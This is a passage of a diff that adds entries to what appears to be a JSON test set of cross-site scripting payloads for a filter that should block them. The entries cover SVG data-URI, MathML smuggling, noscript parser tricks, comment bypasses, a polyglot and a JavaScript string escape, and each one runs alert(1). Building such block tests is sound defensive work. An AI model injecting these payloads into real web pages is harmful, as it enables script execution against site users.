+ "payload": "<svg><use href=\"data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x\">",
176
+ "tags": ["xss", "svg-use", "data-uri"],
177
+ "expected_block": true,
178
+ "severity_hint": "high",
179
+ "notes": "XSS via SVG use element with data URI",
180
+ "category": "XSS"
181
+ },
182
+ {
183
+ "id": "xss-adv-021",
184
+ "payload": "<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
185
+ "tags": ["xss", "mathml", "html-smuggling"],
186
+ "expected_block": true,
187
+ "severity_hint": "high",
188
+ "notes": "XSS via MathML HTML smuggling",
189
+ "category": "XSS"
190
+ },
191
+ {
192
+ "id": "xss-adv-022",
193
+ "payload": "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
194
+ "tags": ["xss", "noscript", "parser-trick"],
195
+ "expected_block": true,
196
+ "severity_hint": "high",
197
+ "notes": "XSS via noscript parser differential",
198
+ "category": "XSS"
199
+ },
200
+ {
201
+ "id": "xss-adv-023",
202
+ "payload": "<!--><script>alert(1)/*-->*/</script>",
203
+ "tags": ["xss", "html-comment", "bypass"],
204
+ "expected_block": true,
205
+ "severity_hint": "high",
206
+ "notes": "XSS via HTML comment trick",
207
+ "category": "XSS"
208
+ },
209
+ {
210
+ "id": "xss-adv-024",
211
+ "payload": "javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
212
+ "tags": ["xss", "polyglot"],
213
+ "expected_block": true,
214
+ "severity_hint": "high",
215
+ "notes": "Multi-context XSS polyglot",
216
+ "category": "XSS"
217
+ },
218
+ {
219
+ "id": "xss-adv-025",
220
+ "payload": "'-alert(1)-'",
221
+ "tags": ["xss", "js-context", "string-escape"],
222
+ "expected_block": true,
223
+ "severity_hint": "high",
224
+ "notes": "XSS in JavaScript string context",
225
+ "category": "XSS"
226
+ }
227
+ ]